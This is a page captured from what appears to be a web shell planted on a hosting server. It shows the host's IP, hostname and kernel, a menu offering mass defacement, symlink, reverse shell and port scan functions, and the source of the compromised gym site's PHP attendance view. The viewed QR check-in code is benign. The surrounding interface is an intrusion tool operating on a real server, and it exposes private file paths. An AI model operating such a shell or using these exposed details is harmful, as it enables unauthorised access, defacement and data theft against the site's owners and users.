Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
attendance
/
Viewing: new.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> <?= ($tipo == 'qr') ? 'Escáner QR' : 'Registro Manual' ?> - Asistencia <?php $this->endSection(); ?> <?php $this->section('css'); ?> <style> .scanner-container { max-width: 600px; margin: 0 auto; } #reader { border-radius: 20px; overflow: hidden; border: 4px solid #ccff00 !important; box-shadow: 0 10px 30px rgba(0,0,0,0.1); } .result-card { margin-top: 20px; display: none; border-radius: 15px; transition: all 0.3s ease; } .status-badge { font-weight: 800; text-transform: uppercase; padding: 5px 15px; border-radius: 50px; font-size: 0.8rem; } .bg-success-soft { background: #dcfce7; color: #15803d; } .bg-info-soft { background: #e0f2fe; color: #0369a1; } .bg-warning-soft { background: #fef9c3; color: #a16207; } .bg-inactive-soft { background: linear-gradient(135deg, #1a1a1a 0%, #2d1515 100%); color: #ff4d4d; border: 2px solid #ff4d4d; animation: pulse-danger 1s ease-in-out 3; } @keyframes pulse-danger { 0%, 100% { box-shadow: 0 0 0 0 rgba(255,77,77,0.4); } 50% { box-shadow: 0 0 0 12px rgba(255,77,77,0); } } .bg-inactive-soft .text-muted { color: #ff9999 !important; } .bg-inactive-soft hr { border-color: #ff4d4d44; } .inactive-detail { background: rgba(255,77,77,0.12); border-left: 3px solid #ff4d4d; border-radius: 6px; padding: 8px 12px; font-size: 0.82rem; margin-top: 10px; } .nav-pills .nav-link { border-radius: 50px; padding: 8px 25px; font-weight: 700; color: #4b5563; transition: all 0.3s ease; } .nav-pills .nav-link.active { background: #0a0a0a; color: #ccff00; } </style> <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-person-check-fill"></i> Registro de Asistencia</h1> <p>Elige el método de registro para el cliente</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin/attendance'); ?>">Asistencia</a></li> <li class="breadcrumb-item">Nuevo Registro</li> </ul> </div> <div class="row justify-content-center"> <div class="col-md-10"> <div class="card shadow-sm border-0 mb-4" style="border-radius: 25px;"> <div class="card-body p-4"> <ul class="nav nav-pills justify-content-center mb-4 gap-2" id="attendanceTabs" role="tablist"> <li class="nav-item"> <a class="nav-link <?= ($tipo == 'qr') ? 'active' : '' ?>" href="<?= base_url('admin/attendance/new?tipo=qr') ?>"><i class="bi bi-qr-code-scan"></i> Escáner QR</a> </li> <li class="nav-item"> <a class="nav-link <?= ($tipo == 'manual') ? 'active' : '' ?>" href="<?= base_url('admin/attendance/new?tipo=manual') ?>"><i class="bi bi-keyboard"></i> Registro Manual</a> </li> </ul> <div class="tab-content mt-4"> <?php if ($tipo == 'qr'): ?> <div class="row align-items-center"> <div class="col-md-6"> <div class="scanner-container"> <div id="reader"></div> </div> </div> <div class="col-md-6"> <div id="no-result" class="text-center py-5"> <i class="bi bi-upc-scan fs-1 text-muted opacity-25"></i> <p class="text-muted mt-3">Esperando lectura de código QR...</p> </div> <div id="result-card" class="result-card p-4 shadow-sm"> <div class="d-flex align-items-center gap-3 mb-3"> <div id="result-icon" class="fs-2"></div> <div> <h5 id="result-user" class="fw-bold mb-0"></h5> <span id="result-type" class="status-badge"></span> </div> </div> <hr> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted small">Hora del registro</span> <span id="result-time" class="fw-bold"></span> </div> <div class="d-flex justify-content-between align-items-center mt-2"> <span class="text-muted small"><i class="bi bi-calendar-check me-1"></i>Vence</span> <span id="result-expiry" class="fw-bold small"></span> </div> <div id="result-msg" class="mt-3 small fw-bold"></div> </div> </div> </div> <?php else: ?> <div class="row justify-content-center"> <div class="col-md-6"> <div class="p-4 bg-light rounded-4 shadow-sm"> <h5 class="fw-bold mb-4 text-center">Seleccionar Cliente</h5> <div class="mb-4"> <label class="form-label small fw-bold text-muted">Buscar Cliente</label> <select id="userSelect" class="form-select select2"> <option value="">Escribe nombre o DNI...</option> <?php foreach($users as $user): ?> <option value="<?= $user['qrCode'] ?>"><?= $user['name'] ?> - <?= $user['dni'] ?></option> <?php endforeach; ?> </select> </div> <button type="button" id="btnManualRegister" class="btn btn-dark w-100 rounded-pill py-3 fw-bold"> <i class="bi bi-check-circle-fill text-neon"></i> REGISTRAR ASISTENCIA </button> </div> </div> <div class="col-md-6"> <div id="manual-no-result" class="text-center py-5"> <i class="bi bi-person-badge fs-1 text-muted opacity-25"></i> <p class="text-muted mt-3">Selecciona un cliente para registrar asistencia</p> </div> <div id="manual-result-card" class="result-card p-4 shadow-sm"> <div class="d-flex align-items-center gap-3 mb-3"> <div id="manual-result-icon" class="fs-2"></div> <div> <h5 id="manual-result-user" class="fw-bold mb-0"></h5> <span id="manual-result-type" class="status-badge"></span> </div> </div> <hr> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted small">Hora del registro</span> <span id="manual-result-time" class="fw-bold"></span> </div> <div class="d-flex justify-content-between align-items-center mt-2"> <span class="text-muted small"><i class="bi bi-calendar-check me-1"></i>Vence</span> <span id="manual-result-expiry" class="fw-bold small"></span> </div> <div id="manual-result-msg" class="mt-3 small fw-bold"></div> </div> </div> </div> <?php endif; ?> </div> </div> </div> </div> </div> <!-- Sonidos generados por Web Audio API - sin dependencias externas --> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script src="<?= base_url('assets/admin/js/html5-qrcode.min.js') ?>" type="text/javascript"></script> <script> $(document).ready(function() { // Pre-inicializar AudioContext en el primer gesto del usuario document.addEventListener('click', () => getAudioCtx(), { once: true }); document.addEventListener('keydown', () => getAudioCtx(), { once: true }); $('.select2').select2({ theme: 'bootstrap-5', width: '100%' }); $('#btnManualRegister').on('click', function() { const qrCode = $('#userSelect').val(); if (!qrCode) { alert('Por favor selecciona un cliente'); return; } processAttendance(qrCode, true); }); }); let lastScan = ""; let scanning = true; function onScanSuccess(decodedText, decodedResult) { if (decodedText === lastScan || !scanning) return; lastScan = decodedText; scanning = false; processAttendance(decodedText, false); } // ─── Audio Engine (Web Audio API) ──────────────────────────────────────── const AudioCtx = window.AudioContext || window.webkitAudioContext; let audioCtx = null; function getAudioCtx() { if (!audioCtx) audioCtx = new AudioCtx(); return audioCtx; } /** * Sonido ACTIVO (check-in / check-out): * Dos tonos ascendentes suaves — sensación de "acceso concedido". * check-in → Do5 + Mi5 (verde, bienvenida) * check-out → La4 + Re5 (azul, despedida) */ function playActiveSound(type) { const ctx = getAudioCtx(); const pairs = type === 'success' ? [{ f: 523.25, t: 0 }, { f: 659.25, t: 0.18 }] // Do5 → Mi5 : [{ f: 440.00, t: 0 }, { f: 587.33, t: 0.18 }]; // La4 → Re5 pairs.forEach(({ f, t }) => { const osc = ctx.createOscillator(); const gain = ctx.createGain(); osc.connect(gain); gain.connect(ctx.destination); osc.type = 'sine'; osc.frequency.setValueAtTime(f, ctx.currentTime + t); gain.gain.setValueAtTime(0, ctx.currentTime + t); gain.gain.linearRampToValueAtTime(0.35, ctx.currentTime + t + 0.03); gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + t + 0.28); osc.start(ctx.currentTime + t); osc.stop(ctx.currentTime + t + 0.30); }); } /** * Sonido INACTIVO / ALERTA: * Tono descendente con vibrato — sensación de "acceso denegado / atención". * Tres pulsos cortos en La3 con modulación de frecuencia. */ function playInactiveSound() { const ctx = getAudioCtx(); [0, 0.22, 0.44].forEach(offset => { const osc = ctx.createOscillator(); const lfo = ctx.createOscillator(); const lfoG = ctx.createGain(); const gain = ctx.createGain(); lfo.connect(lfoG); lfoG.connect(osc.frequency); osc.connect(gain); gain.connect(ctx.destination); osc.type = 'sawtooth'; osc.frequency.setValueAtTime(220, ctx.currentTime + offset); // La3 osc.frequency.linearRampToValueAtTime(180, ctx.currentTime + offset + 0.18); lfo.type = 'sine'; lfo.frequency.setValueAtTime(18, ctx.currentTime + offset); lfoG.gain.setValueAtTime(12, ctx.currentTime + offset); gain.gain.setValueAtTime(0, ctx.currentTime + offset); gain.gain.linearRampToValueAtTime(0.28, ctx.currentTime + offset + 0.02); gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + offset + 0.18); lfo.start(ctx.currentTime + offset); lfo.stop(ctx.currentTime + offset + 0.20); osc.start(ctx.currentTime + offset); osc.stop(ctx.currentTime + offset + 0.20); }); } // ───────────────────────────────────────────────────────────────────────── function processAttendance(qrCode, isManual) { fetch(base_url + 'admin/attendance/store', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ qrCode: qrCode }) }) .then(response => response.json()) .then(data => { showResult(data, isManual); if (data.status === 'success' || data.status === 'info') { playActiveSound(data.status); // tonos ascendentes diferenciados } else { playInactiveSound(); // triple pulso descendente con vibrato } const delay = data.status === 'inactive' ? 5000 : 3000; setTimeout(() => { lastScan = ""; scanning = true; }, delay); }); } function showResult(data, isManual) { const suffix = isManual ? 'manual-' : ''; const noResult = document.getElementById(suffix + 'no-result'); const resultCard = document.getElementById(suffix + 'result-card'); const rUser = document.getElementById(suffix + 'result-user'); const rType = document.getElementById(suffix + 'result-type'); const rTime = document.getElementById(suffix + 'result-time'); const rIcon = document.getElementById(suffix + 'result-icon'); const rMsg = document.getElementById(suffix + 'result-msg'); if (noResult) noResult.style.display = 'none'; resultCard.style.display = 'block'; // Limpiar detalle previo si existe const prevDetail = resultCard.querySelector('.inactive-detail'); if (prevDetail) prevDetail.remove(); rUser.innerText = data.user || 'Desconocido'; rTime.innerText = data.time || '--:--'; rMsg.innerText = data.message; // Fecha de vencimiento con semáforo de proximidad const rExpiry = document.getElementById(suffix + 'result-expiry'); if (rExpiry) { if (data.expiry) { rExpiry.innerText = data.expiry; rExpiry.className = 'fw-bold small ' + (data.expiry_alert === 'soon' ? 'text-warning' : 'text-success'); if (data.expiry_alert === 'soon') { rExpiry.innerHTML = '<i class="bi bi-exclamation-circle me-1"></i>' + data.expiry + ' <span class="badge bg-warning text-dark ms-1" style="font-size:0.65rem">PRÓXIMO A VENCER</span>'; } } else { rExpiry.innerText = '—'; rExpiry.className = 'fw-bold small text-muted'; } } resultCard.className = 'result-card p-4 '; rType.className = 'status-badge '; if (data.status === 'success') { resultCard.classList.add('bg-success-soft'); rType.classList.add('bg-success'); rType.innerText = 'ENTRADA'; rIcon.innerHTML = '<i class="bi bi-box-arrow-in-right text-success"></i>'; } else if (data.status === 'info') { resultCard.classList.add('bg-info-soft'); rType.classList.add('bg-info'); rType.innerText = 'SALIDA'; rIcon.innerHTML = '<i class="bi bi-box-arrow-right text-info"></i>'; } else if (data.status === 'inactive') { resultCard.classList.add('bg-inactive-soft'); rType.classList.add('bg-danger'); rType.style.color = '#fff'; const labels = { expired: '⛔ EXPIRADA', disabled: '⛔ INACTIVA', no_membership: '⛔ SIN MEMBRESÍA' }; rType.innerText = labels[data.reason] || '⛔ BLOQUEADO'; rIcon.innerHTML = '<i class="bi bi-slash-circle-fill" style="color:#ff4d4d;font-size:2rem"></i>'; const detailEl = document.createElement('div'); detailEl.className = 'inactive-detail'; detailEl.innerText = data.detail || ''; rMsg.after(detailEl); } else { resultCard.classList.add('bg-warning-soft'); rType.classList.add('bg-warning', 'text-dark'); rType.innerText = 'ALERTA'; rIcon.innerHTML = '<i class="bi bi-exclamation-triangle-fill text-warning"></i>'; } } if (document.getElementById('reader')) { let html5QrcodeScanner = new Html5QrcodeScanner( "reader", { fps: 10, qrbox: { width: 280, height: 280 }, aspectRatio: 1.0 }, false ); html5QrcodeScanner.render(onScanSuccess); } </script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick